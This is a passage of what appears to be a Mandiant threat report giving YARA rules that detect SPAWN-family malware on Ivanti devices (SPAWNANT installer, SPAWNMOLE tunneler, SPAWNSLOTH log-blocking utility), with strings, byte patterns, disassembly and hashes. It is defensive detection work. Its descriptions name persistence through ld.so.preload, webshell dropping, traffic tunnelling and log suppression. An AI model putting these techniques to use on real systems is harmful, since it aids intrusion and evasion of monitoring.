        $ssh2 = "ssh_handle_key_exchange" ascii fullword
        $ssh3 = "ssh_add_set_channel_callbacks" ascii fullword
        $ssh4 = "ssh_channel_close" ascii fullword
    
    condition: 
        uint32(0) == 0x464c457f and $priv and any of ($key*) 
and any of ($sl*) and any of ($ssh*)
} 
rule M_APT_Installer_SPAWNANT_1
{ 
    meta: 
        author = "Mandiant" 
        description = "Detects SPAWNANT. SPAWNANT is an 
Installer targeting Ivanti devices. Its purpose is to persistently 
install other malware from the SPAWN family (SPAWNSNAIL, 
SPAWNMOLE) as well as drop additional webshells on the box." 
  
    strings: 
        $s1 = "dspkginstall" ascii fullword
        $s2 = "vsnprintf" ascii fullword
        $s3 = "bom_files" ascii fullword
        $s4 = "do-install" ascii
        $s5 = "ld.so.preload" ascii
        $s6 = "LD_PRELOAD" ascii
        $s7 = "scanner.py" ascii
        
    condition: 
        uint32(0) == 0x464c457f and 5 of ($s*)
}
rule M_APT_Tunneler_SPAWNMOLE_1
{ 
    meta: 
        author = "Mandiant" 
        description = "Detects a specific comparisons in SPAWNMOLE 
tunneler, which allow malware to filter put its own traffic . 
SPAWNMOLE is a tunneler written in C and compiled as an ELF32 
executable. The sample is capable of hijacking a process on the 
compromised system with a specific name and hooking into its 
communication capabilities in order to create a proxy server for 
tunneling traffic." 
        md5 = "4f79c70cce4207d0ad57a339a9c7f43c"
  
    strings: 
        /*
        3C 16                                cmp     al, 16h
        74 14                                jz      short loc_5655C038
        0F B6 45 C1                          movzx   eax, [ebp+var_3F]
        3C 03                                cmp     al, 3
        74 0C                                jz      short loc_5655C038
        0F B6 45 C5                          movzx   eax, [ebp+var_3B]
        3C 01                                cmp     al, 1
        0F 85 ED 00 00 00                    jnz     loc_5655C125
        */


        $comparison1 = { 3C 16 74 [1] 0F B6 [2] 3C 03 74 [1] 0F B6 [2] 
3C 01 0F 85 }

        /*
        81 7D E8 E2 E3 49 FB                 cmp     [ebp+var_18], 0FB49E3E2h
        0F 85 CD 00 00 00                    jnz     loc_5655C128
        81 7D E4 61 83 C3 1B                 cmp     [ebp+var_1C], 1BC38361h
        0F 85 C0 00 00 00                    jnz     loc_5655C128
        */

        $comparison2 = { 81 [2] E2 E3 49 FB 0F 85 [4] 81 [2] 61 83 C3 
1B 0F 85}
        
  
    condition: 
        uint32(0) == 0x464c457f and all of them
}
rule M_APT_Utility_SPAWNSLOTH_1
{ 
    meta: 
        author = "Mandiant" 
        description = "Detects SPAWNSLOTH. SPAWNSLOTH 
is an Utility targeting Ivanti devices. Its purpose is to work 
together with SPAWNSNAIL and block logging via dslogserver 
process when SPAWNSNAIL backdoor is active." 
        md5 = "4acfc5df7f24c2354384f7449280d9e0"
  
    strings: 
        $dslog = "dslogserver" ascii fullword

        $hook1 = "g_do_syslog_servers_exist" ascii fullword
        $hook2 = "_ZN5DSLog4File3addEPKci" ascii fullword
        $hook3 = "funchook_create" ascii fullword
    
    condition: 
        uint32(0) == 0x464c457f and all of them
}

-Mandiant, 作成者: Matt Lin, Austin Larsen、John Wolfram, Ashley Pearson, Josh Murchie, Lukasz Lamparski, Joseph Pisano, Ryan Hall, Ron Craft, Shawn Chew, Billy Wong, Tyler McLellan

投稿先